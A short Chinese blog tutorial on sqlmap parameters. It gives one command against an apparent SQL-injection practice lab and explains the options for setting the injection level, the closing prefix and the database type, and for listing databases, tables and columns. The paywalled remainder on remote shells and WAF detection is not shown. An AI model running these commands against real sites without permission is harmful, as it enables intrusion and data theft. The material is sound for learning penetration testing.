本文是一篇关于sqlmap工具参数使用的实战教程，详细解释了如何利用sqlmap进行SQL注入攻击，包括设置URL、调整等级、自动响应、指定数据库类型、查看当前数据库和用户、列举数据库和表、获取数据，以及利用注入创建远程shell。此外，还提到了文件上传的检测和WAF识别的技巧。
sqlmap参数使用实战教程
sqlmap -u http://xxxxx/sql/Less-1/?id=1 --level 3 --batch y --current-db
-u url ------指定url地址
–level 3 —指定等级为 3 默认为1 等级1-5，最好不要超过 3
–batch y —自动选择yes
–prefix " ') " --添加闭合方式 ')
–dbms=mysql --指定数据库类型为mysql
–current-db ----查看当前数据
当前数据库security
–current-user --查看当前用户
–dbs -----查看所有数据库
-D 指定数据库 爆出所有的表
-D 指定数据库 -T 指定表名，爆出所有列
最低0.47元/天 解锁文章
扫一扫
5万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
